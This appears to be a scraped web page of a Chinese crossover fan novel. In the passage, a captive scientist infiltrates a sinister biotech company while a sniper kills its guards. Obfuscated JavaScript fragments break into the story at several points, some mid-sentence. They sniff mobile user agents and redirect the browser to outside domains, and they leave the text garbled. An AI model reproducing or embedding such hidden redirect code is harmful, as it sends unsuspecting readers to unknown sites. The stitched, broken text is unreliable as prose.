l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398989|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斗力的科研人员去偷情报已经足够离谱，还要消灭一个生物公司是不是太强人所难了…… 看看人家港口黑手党的boss，人家多清醒，知人善用、因材施教，一个人的技能点加在哪儿，就放哪儿发光发热。把每一位成员都当功能性人才培养，岗位匹配、职责分明，所以□□才能在横滨一边黑吃黑一边开年会，蒸蒸日上。 朗姆这种强行把后勤扔去前线的操作，要是放在他们横滨，是会遗臭万年的！ 放着朗姆的骚操作不提的话，这个潜入公司的名字也好中二。到底是什么样的人才会在现实生活中开一个这样的公司啊？ 长岛京悟此刻觉得，自己如果真的转职去当吐槽役也不是没可能——他完全有信心能对着这份任务书连喷一个小时不带重样。 他叹着气往下滑，试图从这份像游戏开场任务指引一样的文案里找到些有用的东西，比如任务联系人、基地地图、技术支持、路线图、武器配置…… 然后他发现这个文件没有附任何补充说明，甚至没有一句“祝您好运”。 整封任务书就这几段，一气呵成，像是市川写完之后立刻按了发送就继续去做一个跳崖不带降落伞的刺客了。 ……游戏尚且还有箭头指示你该往哪里去吧？ 。 长岛京悟立刻开始盘算自己可以使用的资源有多少。 在组织之外，他完全就是个孤岛。朗姆之所以安排这场高风险的潜入任务，很大概率就是为了测试他是否还藏着什么“外部联系”。毕竟，按照履历，他高中毕业后就一直在美国读书，照理说不应该和日本境内的任何势力有联系——如果他在这种情况下突然搞来一支后援队，就会坐实了“外部潜伏卧底”的嫌疑。 而在组织内部，他就更惨了。朗姆一开始就把他当试验品一样隔离了出去，不仅实验楼一整层只有他一个人，就连权限都卡得死死的。表面上是资源倾斜，实则是变相软禁。他不能暴露自己已经和化学社那四位老同学重新取得联系，更不能把他们拉下水，否则不仅救不了自己，还会连累别人一块送死。 他能动用的唯一组织内资源，大概就只有马蒂尼——她或许能帮他打听点消息，但也仅此而已。更何况，任务最终的要求是“独立完成”。 也就是说，潜入那个中二公司内部、获得情报、最后炸掉那个公司，都得他自己来。 一个科研人员，要靠着自己的博士知识去炸一个生物公司并全身而退，这不是任务，这是笑话。 长岛京悟深深吸了一口气，得出结论： ——这是个死局。 长岛京悟绝望地想，他这第二辈子大概就要交待在这里了。 马蒂尼也读完了这份任务书，在旁边一言不发，皱着眉头掏出手机，不停地翻着通讯录，一页一页地往下划，眉头越锁越紧。 长岛京悟看着她的脸色，心情一点点沉到底。 完了。 这是真的完了。 他忽然觉得有点哽咽：“……这样吧，我写一封遗书。你能不能帮我交给我爸妈还有茂雄？就说我是为了日本国家安全英勇牺牲的……顺便让他们千万别念我太傻，毕竟我真没想到不做科研居然还能死得这么快。” 说完这句话，他眼前一黑，干脆绝望地闭上眼睛，仿佛已经看见了父母和弟弟穿着黑色的衣服出席他的葬礼，自己的黑白照片下面放着一张博士毕业证书。 沉默数秒。 然后，他听见了一声像游戏通关时才会出现的胜利提示音级别的欢呼—— “找到了！”马蒂尼猛地一拍大腿，兴奋到语调都飞了起来，“我靠，他居然没有删我的好友……长岛，你有救了！！！” 77.原来琴酒也踩点上班啊 长岛京悟万万没有想到，他居然还能在有生之年和那个可怕的琴酒再说上话。 马蒂尼低头捣鼓了一番，打了一个语音电话，然后把手机开了免提。嘟嘟几声响后，琴酒冷冽的声音响起：“喂？” 马蒂尼看上去也是肉眼可见的紧张。她咽了咽口水：“嗨……嗨，琴酒。” 琴酒：“马蒂尼。你最好是有事。” “真的有事，”马蒂尼飞快地说，“我求你帮个忙。” “滚，我没时间。” 琴酒是一个非常容易懂的人，以长岛京悟对于琴酒浅薄的了解，这电话挂断的时间最多还剩三秒。马蒂尼大概也知道，于是猛地开口： “等等！！” 电话那头传来琴酒不耐烦的一声哼。她硬着头皮道：“琴酒，当时代号考核的时候我最后借了你一把枪。那个我的意思不是要挟你，我当时有两把枪，其实也没多大事，我本来没打算让你还这个人情……” 长岛京悟崩溃地心想：像琴酒这种作恶多端的人，怎么可能被这种人情裹挟。果然，自己这辈子还是到头了。 没想到琴酒沉默了一下，然后淡淡地说：“行，你说吧，这个人情就此一笔勾销。以后别再拿任何破事来烦我。” ……你一个冷血杀手怎么这么讲义气啊？！ 马蒂尼松了口气，连忙说：“是这样的，你还记得长岛吗？你之前还去给他送过入职文件。呃……长岛京悟？” 琴酒：“不记得。我当时杀了他吗？” 长岛京悟：“呃……承蒙您手下留情，当时没有。” 琴酒：“哦，是你啊。你还活着？” 马蒂尼：“对，不仅活着，还得到了朗姆的赏识。现在那个老东西要给他做代号考核，内容是让他潜入一家生物公司，偷情报、然后炸掉整个设施。” 电话那头像是传来一声嗤笑：“老东西真是越活越蠢，这种级别的任务也能当代号考核？” 马蒂尼说：“对于杀手来说或许是，但长岛他连枪都不太会用，实战经验为零。你也知道科研组那些人的战斗力……让他们干这种任务，不就是拿人送死吗？” 琴酒：“代号考核，不允许我们插手。” 马蒂尼：“我知道。但任务内容是‘潜入并摧毁’，他只需要证明是他一个人进去再出来就行了，并没有规定他执行期间不能有人在外围清理警卫。如果我能帮他的话，就没必要麻烦你了，问题是我不能帮他——我是朗姆的下属，一举一动都在他眼皮底下，我怕到时候老东西借题发挥。但是他掌握不了你的行踪。更何况，你跟朗姆关系不好，不正好可以借机找他点茬？” 电话那头静默了几秒，像是在评估风险。 然后—— “砰——！” 是枪声。 ……狙击手就这么喜欢在出任务的时候接电话吗？ 又过了几秒，隐约传来琴酒收拾装备的声音。然后他冷冷开口： “把时间和地点发我。还有，目标设施的结构图、人员分布、适合狙击的掩体位置，一并整理清楚。” 马蒂尼大喜：“太感谢你了！” 琴酒语气不屑：“我只是路过，顺手解决几个不顺眼的人罢了。和你、还有长岛，”他冷笑了一声，“没有任何关系。除此之外，别指望我再多做什么。” 长岛京悟眼眶一红，哽咽出声：“义父……” “……” 电话那头传来琴酒像是听到了什么脏东西的微妙停顿，然后电话被迅速挂断了。 。 周天的凌晨，长岛京悟早早地醒了。紧张让他完全睡不着，也没有任何胃口。他逼着自己吃下了两条能量棒，感觉自己再吃一口就要吐了。 然后他换上了马蒂尼给他的行动服——黑色的、用特殊材料制作的紧身衣，因为包裹性极强，可以暂时性地给伤口止血；一件掩人耳目的黑色衬衫，衬衫内侧缝着一些可以迅速取出的刀片，用马蒂尼的话来说，就是“你不知道怎么用的话就记着掏出来直接捅他们”的作用；在最外面，是一件几乎是组织工服的黑色风衣。 他看着镜子里的自己，感觉自己面色苍白得可以直接出去演鬼片。 他拉开公寓的门时，马蒂尼已经等在门外了。她上下打量他几眼，像是想打破这死寂的气氛似的，努力扬起笑容打趣道：“该说不说，你这样还真挺帅的。” 长岛京悟勉强地笑笑。 马蒂尼见他兴致不高，也没再多说什么。两人一前一后地下到车库，坐进马蒂尼的车。 引擎启动，银白色的马自达在蒙蒙亮的天色下驶出东京，穿行进空荡的高速公路。 长岛京悟的腿上放着一台iPad，屏幕上是苍白之火生物科技的建筑平面图、潜入路线、以及适合安放炸药的位置。他昨天已经把这些内容翻来覆去背了十几遍，但此刻还是忍不住一页页再看一遍。临时抱佛脚，大概是人类逃不掉的求生本能。 车里安静得压抑，马蒂尼终于像是受不了这种窒息的气氛，主动开口安慰：“你放心，这次计划是周全的。我查清楚了，外面大概有四五个警卫，琴酒会在八百码外的一处掩体帮你全部解决。他们防备心不强，轮班到下午五点才换岗。今天是周末，厂区里应该也没什么人。” 她拐了个弯，继续说：“你进去后，尽量避开监控，先找资料室。拷完数据，再去蒸汽室放炸药，出来，按遥控。任务就完成了。顺利的话，用不到两个小时。” 长岛京悟的声音有点抖：“……我前几天一直太慌，没细想。琴酒说‘解决他们’……是指，会杀了那些警卫吗？” 马蒂尼叹了口气，说：“长岛，你得习惯，我们说到底还是犯罪组织。” 长岛京悟没再说话。过了一小会儿，他用还是有点抖的声音低低地说：“……谢谢你。如果没有你帮这些忙，我可能现在已经死了。” 马蒂尼静静地看着前方，没有立刻回应。过了两秒，她猛地一拍方向盘，大声说： “长岛，你给我支棱起来！这任务又不是做不到！进去，找资料室；出来，去蒸汽室；然后撤出来，按遥控炸了它，就这么点事儿！给我活着回来，作为回报，你要帮我写任务报告写到我退休！” 长岛京悟被她吓了一跳，然后竟真的像是被这不合时宜的一通怒吼鼓舞到了，忍不住笑了出来。 他们抵达目标工厂附近时，天色逐渐泛白，差不多是早上七点。 长岛京悟深吸一口气，最后一次清点了背包里的装备，然后缓缓拉开车门，仿佛是拉开通往生死未卜的舞台帷幕。 马蒂尼在后面补了一句：“记得把枪放在口袋，真遇上危险别犹豫，先拉保险栓，再射他丫的。” 长岛京悟对她郑重地点了点头，然后背着包下车。 。 根据计划和地形图，马蒂尼将长岛京悟放下的地点，是车辆能够抵达的最近位置。下车之后，他还得步行大约十分钟。 林荫道幽深寂静，空气中带着清晨尚未散去的露气。他踩着碎石路缓慢前行，耳边只有自己的脚步声。 直到他穿过最后一段小道，抵达一片被晨雾层层笼罩的开阔地。 “苍白之火生物科技”的大楼就伫立在那雾气中央，像是一块被神明遗忘的白色石碑。 它没有任何常规意义上的企业标识，整座建筑是一体化的灰白结构，表面没有一扇窗。外立面呈现出近乎病态的干净，光滑到仿佛所有人的反射都会被它吞噬。楼体高而窄，笔直地插入天际线，带着一种强迫症式的对称感，像是冷战时期的秘密防御设施和某种哥特式教堂的畸形混合体。 入口处只有一块低调得几乎令人忽视的黑色金属铭牌，烫银字体细瘦纤长，上面写着：“Pale Fire Biotech” （苍白之火生物科技）。 下方是一行细小到他需要眯着眼睛才能看清楚的拉丁文： Dolor veritatis 长岛京悟大学为了装逼上了一节拉丁文课，他知道这个词组的意思是“真理之苦”。 ……这个公司的老板真的好中二啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15403876|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 长岛京悟顺利找到了计划中预定的潜伏位置，小心地从灌木后探出头，眯起眼，继续观察大楼外围的情况。 外围一共五名警卫，分布均匀，像是被精确摆放好的棋子。东侧一人沿着L形路线巡逻；南侧门口一个人靠在柱子边抽烟；北侧岗亭里坐着一个人，低头刷着平板。剩下两个站在西侧，靠得很近，似乎在聊天，其中一个还在看手机剩下两名警卫在西侧并肩而立，正有一句没一句地聊着天，其中一个还不时低头看手机，看起来比上课摸鱼的高中生还松弛。 按照马蒂尼和琴酒事先约定的计划，此刻他应该在这里静静等待支援，由琴酒远程神不知鬼不觉地将这些警卫一一解决。 时间一分一秒地过去。 长岛京悟伏在灌木丛中，脸颊贴着冰冷的地面，眼睛盯得发酸，手心也湿得几乎能拧出水来。他咬紧牙关，一动不动地盯着那几个无所事事晃悠的警卫，死死地等着枪声响起，等着那象征着任务正式开始的信号。 ……但琴酒那边始终毫无动静。 没有开枪，没有回信，没有救援，没有爆头。 一切安静得像一场被遗忘的伏击。 长岛京悟低头看了一眼手机，屏幕赫然显示：07:53。 他几乎能听见自己脑海里响起雷霆般的呐喊：嗨，哥们，你是睡着了吗？！ 他知道自己不能再等下去了。按照时间表，厂区内部的第一班轮值人员将在八点前后陆续到岗。一旦错过这个时间窗，他不仅会错失潜入机会，甚至会撞上人流，整个计划就会直接崩盘——而他本人，也多半是被乱枪打死再写成“考核失败”的统计数字。 他深吸一口气，把身体压得更低，开始一点一点地沿着灌木边缘往前爬。他的目标是正门附近那处电缆遮蔽区，那是他昨晚在图纸上反复确认过的死角。如果运气好，也许可以避开监控，从那里渗透进去。 他刚动了没几步，前方突然响起一声尖锐的短哨，紧接着，一名警卫的喊声划破寂静：“那边是谁？！” 完了。 他脑子里“嗡”的一声发懵，一股冷汗从后背直窜脖颈。他下意识地去掏腰间的手枪，却因为手心湿滑、手指发抖，竟然直接把枪给抖了出去，重重地摔在石头与枯枝之间，发出一声清脆刺耳的金属撞击声。 声音太响，根本掩不住。 他看着那名警卫已经抬起了枪口，对准他所在的方向，脚步越来越快地逼近。他甚至连“完蛋了”都还没来得及在脑海里完整过一遍，下一秒—— “砰！” 一声沉闷的枪响骤然炸开，听得出是加了消音器的。子弹贴着他右肩呼啸而过，击中他身旁的石块，飞溅起一片沙砾与草屑。 紧接着第二声枪响迅速跟上，子弹精准地打进他身后的灌木丛中，击断了几根枝条，整片灌木随之微微震颤。 那两发子弹前后落点，像是在给他画一条生死线。 长岛京悟怔在那里，耳鸣像海浪一样拍打着意识。他忽然觉得，自己仿佛真的和那边的琴酒，在这一瞬间隔着数百米产生了某种微妙的心电感应。对方没有出声，但那两发子弹就像一种极具琴酒特色的语言，用简约大气的方式传达出一句话： ——“你往后稍稍”。 原来琴酒也踩点上班啊？！ 长岛京悟回过神来，连滚带爬地往回缩进灌木掩体，刚一伏下身子，第三声枪响紧随其后。远处那名警卫动作一顿，像是被什么无形之物穿破脑壳，后脑炸开一团血雾，整个人如同断线木偶般扑通倒地，连一点声音都没发出来。 他瞪大了眼睛，还没从这一枪的震撼中缓过神来，第四声、第五声枪响又接连落下。那两名站在西侧的警卫还未来得及反应，就被子弹分别命中头部和胸口，应声倒地。 枪声干脆利落，节奏分明，像是有人在远处以一种机械的冷静一发一发扣动扳机，逐一清除那些对任务构成威胁的无关变量。 长岛京悟瘫坐回灌木丛后，脸色苍白，脖子上的冷汗像水珠一样滴到衣领里。 78.杀不死我的能让我滚得更快 琴酒的枪声在持续了一两秒后终于停了下来，世界重新恢复成一片死寂。 长岛京悟跪伏在掩体后，神志回笼后才发现自己全身都在发抖。 这种发抖不是冷，也不仅仅是惊吓或恶心，更是一种生理上的本能反应——他的身体在拒绝这场经历，拒绝承认他刚刚亲眼目睹了死亡，拒绝面对眼前那些躺在血泊中的人，拒绝承认这不是游戏、也不是演习，而是他人生新章节的第一行血字。 这是他第一次，如此真切地感受到自己站在“活着”与“死亡”之间的缝隙。 长岛京悟试图站起来，却发现身体像是签了停工协议，根本不听使唤。他只能一边咬牙，一边靠着灌木的树干强撑着，从半跪的姿势一点一点地挪起身，像一只软体生物，摇摇晃晃地走出掩体。 马蒂尼用一个久远的人情换来的琴酒的帮助，到这里就该结束了。接下来的事就全部需要由他自己做了：走过去，在那些警卫的尸体上找到门禁卡，然后进入大楼。 可尽管道理都明白，长岛京悟依然能感受到自己潜意识里的抗拒。他甚至都不敢看这些尸体，更别提靠近他们可能死不瞑目的脸、在他们大约还带着余温的身体上寻找一个东西…… ——而就在此时，一声毫无预兆的枪响冷不丁在耳边炸开，直接把他惊得一个踉跄！ 一枚子弹几乎贴着他腰侧擦过去，精准地打在前方苍白之火生物科技的大门上。 长岛京悟整个人瞬间定格，脑子一片空白，甚至还来不及感到害怕，第二发子弹已经紧跟着落在第一发的正下方，干净利落地把门震出一个直径近一米的大窟窿，足以让一个人轻松穿过去。 紧接着是第三发，稳稳地落在他正前方，弹孔与他和大洞几乎连成一条完美直线，像是一条不容拒绝的路径指令。 依然是隔着这么远，长岛京悟又一次感觉到自己和琴酒产生了某种诡异的心电感应，这一次是对方简约大气地告诉他“从这里麻溜滚进去，别tmd再墨迹了”。 长岛京悟突然间有些泪目，他发自内心地觉得琴酒人还怪好的，下次见到他果然还得叫一声义父。 。 长岛京悟深吸了一口气，钻进琴酒打出的那个大洞。 苍白之火生物科技公司的内部终于出现在他面前。 这里的光线是近乎病态的冷白，亮得刺眼，却一点温度也没有，像是经过层层滤镜后只剩下技术意义上的“可视”。天花板上嵌入式的照明灯排列得极整齐，但光源却不落在任何一个具体的位置上，只把空间照得毫无阴影，像一个反复擦拭过的冰面。 墙壁是灰得发蓝的金属面板，完全看不见拼缝，光滑得仿佛随时能把人的存在反弹回去。走廊笔直延伸出去，每一段转角都像是被标尺和激光齐刷刷校准过。 地面不反光，也不发声。长岛京悟注意到自己鞋底触地的声音像被提前预判之后吞没了。这里的空气也带着一种机械加工后的寂静，不是空旷的宁静，更像是恐怖游戏里的无声模式，仿佛这里的一切都在有意识地拒绝共鸣。 他沿着脑海中记下的路线行进，每一步都踩得格外小心，每一次拐角都提前调动全部注意力。然而没走多久，他便意识到这栋建筑并不像图纸上那样听话。 走廊里的灯光是偶尔忽明忽暗的。通风管道深处时而传来低频的嗡鸣，那声音不高，却空洞得像是从一个巨大的金属胃袋里吐出来的低语。某些门会在他靠近时突然无声开启，又像思考了一瞬似的缓缓合上，开合间带着一种隐约的喘息感，仿佛整座建筑正在轻微呼吸。 这一切已经足够诡异了，但真正让他感到心惊胆战的不仅仅这种直截了当的恐怖，还有一种极其微妙的“不存在感”—— 整栋楼显然运转着，却空无一人！ 按理说，这么大体量的研究机构，即便是周末，也总得留几个科研牛马在岗位上与命运缠斗。PCR不会自动跑完，数据也不会自我增长，细胞不会在没有监测的环境中自行觉醒对生命的热情。 哪怕科研部门全员脱岗，总还有行政、安保、运维……更何况马蒂尼提供的情报明明写着：今天早上八点会有一波轮班人员进场。 退一万步讲，就算这个生物公司真的奇迹般地在执行劳动法，也总得留下些“牛马残留物”：外卖盒、没喝完的咖啡、被火急火燎忘在实验桌上的便签纸、粘着缓冲液的手套、角落里躺着的废试剂瓶…… 可这里干净得近乎无机，像是刚刚被彻底消毒过一遍，不只清理了人，连“人类曾在此工作过”的痕迹也一并抹去了。 长岛京悟尝试不再刻意放轻脚步，脚步声却依旧不见踪影。仿佛连声音本身都被空间提前感知、裁剪，失去了回响的权利。 他深吸了一口气，却发觉连自己的呼吸声都像是被棉花包裹起来一样迟钝。他突然间开始毫无根据地开始怀疑自己是否真的还存在于这个空间里，或者他是否已经被这栋楼缓慢地，悄无声息地，认作了一部分。 终于，他转过一个走廊尽头，来到了脑海中标记的“资料室”。 但依然和他们得到的情报不同，在这个位置的不只有一扇门。 。 两扇一模一样的黑色金属门并排而立，门上各贴着一张白底黑字的标签：“资料室”。字体、排版、贴纸角度，全都一模一样，连纸张边缘微翘的弧度都精确到分毫。 长岛京悟尝试分辨门后是否有动静，但什么也听不到。 他盯着那两扇门许久，最终伸手推开了右边那扇。没有任何逻辑支撑，只是出于某种常年应试教育训练出的本能：只有两个选项的时候，他总是选右边。 门轻得出奇，仿佛早就等他来推开似的，在指尖碰上的那一瞬间便悄无声息地滑了开去。 然后—— “啪”的一声，一只手骤然从门后伸出，动作快得不自然，精准地掐向他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415119|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脖子！ 几乎与此同时，一个身影从门后猛扑而出，动作带着一种死板又高效的机械感，像是刚从休眠舱中被唤醒的生物反应体。 长岛京悟下意识想去掏衬衫里的刀片，但他手指连碰到布料都没来得及，对方的拳头便已呼啸而至。 他整个人猛地向后翻滚出去，动作极其狼狈，靠的完全是本能反射。拳风擦着额发掠过，那一下如果没躲开，大概现在他的鼻梁已经被重塑了。 他几乎是连滚带爬地拉开了距离，背脊贴着冰冷的墙壁，还没喘上一口气，那身影已经再度袭来。 下一拳直奔胸口，带着压缩空气般的破裂声。他侧身一闪，险险避过，却来不及调整站姿，只能用肩膀撑着墙面滑出去，堪堪避开对方跟上的肘击。 他压根来不及做任何反击。这个人动作快得不正常，出拳和步伐都精确得过于规律，像是从设定里复制出来的固定模块，一击不中立刻接第二击，完全没有延迟。 第三拳从上而下直劈头顶。长岛京悟一个翻滚躲开，右肩重重撞在墙角，疼得他险些尖叫出声。他咬紧牙关强迫自己集中精神，强行用脚尖蹬地甩开身位，又一次闪避了接踵而至的勾拳。 长岛京悟从没接受过正式格斗训练，可这些年在实验室里躲老板、抢设备、应付突发状况练出来的反应力居然意外地有用。虽然他来不及反击，但至少灵活得像只滑溜的老鼠。 可是这东西根本不像是在战斗！ 它没有变化，没有节奏的松动，没有判断对手强弱后的策略微调，只有一轮接一轮的无情攻击，就像一个执行单线程任务的程序，干净到冷酷。这不是格斗了，这是代码在跑死循环——“while(长岛京悟==活着){定位；挥拳；循环；}”…… 长岛京悟在虚拟世界里就很少能够靠自己一个人把一串代码教训得服服帖帖的，更何况是在现实世界里？ 他心跳得厉害，耳边都是自己气息的杂音。他知道再这样下去他迟早撑不住。他是躲得很快，可光靠躲是不能解决问题的。 不知多久后，对方再次挥拳，拳锋擦过他脸颊。长岛京悟下意识偏头蹲下身去避，却还是被余势带着失去了重心，整个人踉跄着摔倒在地，后背重重撞上门框。他看见对方的手再次抬起，那只手归位，然后像机械臂一样狠狠地朝着他喉咙锁了下来—— “咚！” 那人像是被什么重物从后方猛地击中后脑，动作中断得毫无征兆，整个人一顿，像被切断电源的机器一般轰然倒下。 长岛京悟躺在地上，大口喘着气，耳鸣如潮，身体的紧绷还未退散。他缓慢地、几乎是机械地转过头，看向那人倒下的方向。 他视野里出现了两双运动鞋，与此同时一瓶可乐咕噜噜地滚到他脚边。 与此同时，他听见了一个熟悉的声音：“卧槽萩你那一下真的帅，你是不是自己在家偷偷练投篮了——诶，京悟哥？！” 79.再说一遍，这很正常？ 据松田阵平的口述，他昨天，也就是周六，一大早接到了萩原研二的电话。电话那头语气十分兴奋，说家里人都出门了，整栋房子只剩他一个人，非常适合把游戏机连到客厅的大电视上，一口气打完他们还没来得及玩的《独眼猫的一百个死法》。 长岛京悟面无表情地打断：“说重点。你们是怎么到这儿来的？” “这就是重点。”松田阵平理直气壮地继续。他们从天亮打到天黑，再打到天亮。就在离和最终boss 交战只差最后一组对话的关键时刻，萩原提议存个档，出去买点零食，回来一举通关。 两人从家里溜达到便利店，买完东西后出来，刚拐到路口，就看到一辆熟得不能再熟的马自达轿车从眼前呼啸而过。 非常巧，那正是马蒂尼的车。 作为两个高中男生的梦中情车，它的出现就好像猫听见开罐头的声音，精准命中他们的雷达。 想起周五晚上才得知马蒂尼本职工作是一个杀手，两人对视一眼，二话不说就决定跟上去。 用人的脚去追车，自然是有点不自量力的。但他们也就跟着跑了不到两分钟，刚好冲到一个街口，还来不及再看一眼那辆逐渐消失的马自达，脚下就忽然一沉，像是踩到了什么空洞的地面。 低头一看，一团绝对不科学、边缘泛着黄色幽光的漩涡正缓缓张开，像一张慢慢咧开的嘴。 下一秒，一只戴着白手套的手从漩涡里伸了出来。 那只手没有一丝犹豫，像是做惯了这种抓人业务，一把钳住了松田阵平的脚踝，又往外探了探，用胳膊肘绕住了萩原研二的小腿，像拽两只打包好的快递袋一样，熟练地把他们拖了进去。 两人只觉得自己像是被丢进了一台工业级滚筒洗衣机，先是往左甩，再往右砸，又突然倒挂着飞了一个大回环。重力感和方向感直接失效，眼前一黑一白一旋转，连骂人的机会都没有，惨叫声刚出口就被甩成了乱码，期间夹杂着极其破碎的哀嚎： “卧槽我裤子要飞了！！！” “你撞我脑袋了！！！” “救命啊！！！” 也不知道过了多久，还是不到十秒，他们终于像是被谁一巴掌拍出了洗衣桶，扑通一声摔在了一片坚硬的地面上。 花了点时间喘气后，他们发现自己坐在一个树林里。 面前不远处是一栋纯白色的建筑，外观像是某种高端极简风的教堂。走近了才看清，门口挂着一个门牌，写着什么什么火生物科技，反正名字一听就特别中二…… 长岛京悟：“苍白之火生物科技。” 萩原研二点点头。 不仅名字奇怪，建筑本身也不像什么正经研究机构。大门像是刚被哪个暴走族用车头怼出来似的，正中央炸了一个一米见方的大洞，金属板边缘翘得乱七八糟。他们俩莫名其妙像快递箱一样被扔来扔去，早就憋着一肚子火。因为觉得始作俑者多半就在这里，松田阵平当机立断：进去找人，不管三七二十一，先想办法把他揍一顿再说。 这之后的事情，双方就都清楚了：他们在里面闲逛，然后路见不平扔可乐相助。只是没想到，那个可怜的、被按在地上打的人居然是长岛京悟。 长岛京悟：“……” 武德过分充沛了吧！ 而且，苍天在上，正常人看到尸横遍野的大门口，第一反应不是该报警吗？！ 他感觉自己的血压在直线上升：“不是，门口那么多——那么多——，你们居然还敢进来？！进来就算了，这个地方这么阴森，你们是学不会害怕吗？” 松田阵平迷茫地问：“门口？门口有什么？而且这里不就是个普通的生物公司，很阴森吗？” 长岛京悟猛地睁大了眼，像是整个中枢神经系统都被这句话短路了。他语调僵硬地复述了一遍：“……门口有什么？这里不就是个普通的生物公司……？” 萩原研二非常认真地补充道：“这里就是正常公司周末没人的样子吧？完全没有什么特别的。除了门口那个被轰出的大洞以外，一切都很正常啊。” 。 这一切都不正常！ 长岛京悟饶是再关心则乱，这点逻辑还是理得通的。 他们描述的任何一件事，都不正常！ 且不说为什么松田、萩原和他自己看到的这家公司完全不同，就单说他们被莫名其妙地拽进了一个连科学都解释不了的空间，又在一通毫无逻辑的颠簸后直接传送到了这里，这件事本身就已经不正常到极点了。 更不正常的是，两个在唯物主义世界观下成长出来的孩子，居然对这一连串超现实的体验轻飘飘地带了过去。似乎在他们的脑海里，这并不是什么值得深思的问题：他们今天存在的意义，就是要合情合理地进入这家公司，然后合情合理地在长岛京悟即将受到伤害的时候，把他救下来。 他们就像是本能地接受了这一切，接受了自己该在这里，该做这件事。 长岛京悟突然间想到了最初请求他成为官方卧底的坂口安吾。 那时的安吾和这两个孩子的状态，仔细想来，竟然无比相似。 他们就像是被某种无形的力量推着向前，披着一副理所当然的镇定外壳，对即将面对的危险毫不怀疑，对自己肩上的任务毫不迟疑，甚至连“为什么是自己”“凭什么是自己”这样最基本的质问，都一声不吭地咽了下去。 究竟是什么样的存在，才能做到这一切？又或者换个角度想，这种力量的源头，可能是某个人吗？ ……不过说到力量，话又说回来，这种空间传送的异能力倒是让他想起了一个故人。 希望不是他吧。 这个世界那么大，人那么多，会空间传送的应该也不只有果戈里一个吧………………………… 这时长岛京悟才想起来自己来这里还是带着任务的。他定了定神，也不知道该怎么安置松田阵平和萩原研二，只能硬着头皮嘱咐他们跟紧自己，别乱跑。不过他说这话的时候，自己心里也没什么底气：如果真的遇上了什么，他甚至不知道最后是谁保护谁——单看外表的话，松田和萩原看上去就比他能打。 松田阵平好奇道：“话说回来，京悟哥你还没跟我们说你在这里干什么呢！” 长岛京悟：“……呃，你们就当我是来这里试胆吧。” 松田阵平一脸“你当我是蠢货吗”的表情。这时萩原研二说：“京悟哥来这里是为了公司的事情吧。” 长岛京悟立刻回答：“不是。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15430575|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 萩原研二点点头：“那就是了。所以说白鸠制药、还有马蒂尼大姐头，果然是犯罪组织吧？京悟哥你是官方派进来的卧底，你其实是警察？” 长岛京悟这回回答得更快：“不是。” 萩原研二若有所思地摸着下巴：“不是啊……那可能就是线人一类的了。” ——不是，你是会读心吗？你这判断流程也太恐怖了吧？！ 长岛京悟面无表情地说：“总之，这里很危险，你们千万别乱跑。我需要干点事情，干完之后我们就出去，到时候你们赶紧各回各家……” 松田阵平眼睛一亮，跃跃欲试地问：“干什么事情？” 长岛京悟学着琴酒的样子冷冷地说：“你别管。” 萩原研二说：“窃取情报一类的吧。他们把你派过来……这是刻意为难你？”他闭上眼睛思考了几秒钟，“他们在考核你？你这一次如果成功了，就不需要被软禁在公司的那两层了？” 长岛京悟崩溃道：“你快别说了，我求求你。” 这时地板上的人稍微动了一下，似乎有转醒的架势。松田阵平眼疾手快，松田阵平眼疾手快，二话不说抡起刚才捡回来的可乐瓶，又一次结结实实地敲在了对方的脑门上。那人闷哼一声，动作一滞，又一次陷入了婴儿般的沉睡。 长岛京悟看着这一幕，觉得如果自己再较真下去，这个活可能真的要彻底干不下去了。 他叹了口气，懒得再追究，示意两人躲到自己身后，然后重新把注意力转回那扇已经被拉开一半的资料室门。 他先用指尖轻轻推开一角，确认没有动静，才慢慢地把门完全推开。 里面没有人。 。 资料室里灯光昏黄，像是有人刚刚来过，但又走得匆忙，连开着的灯都没来得及关。 靠墙的位置放着一台电脑，屏幕正亮着，系统已经解锁，页面停留在主界面上。旁边散乱地堆着几沓文件资料，有些胡乱地压着彼此，角落还塞着一只翻开的档案袋，露出几张字迹潦草的手写报告。 长岛京悟没有犹豫，快步走到电脑前，弯腰坐下，飞快地开始检索。 同时，他听见身后传来松田阵平和萩原研二在窸窸窣窣地交谈，声音压得很低，断断续续的，大概是轮流放哨。萩原研二似乎还特意靠在门框上，调整着角度，以便能同时盯住两个方向。 长岛京悟很快就在电脑里找到了有关神经再生项目的资料。 他几乎是下意识地掏出移动硬盘，插上接口，开始拷贝。 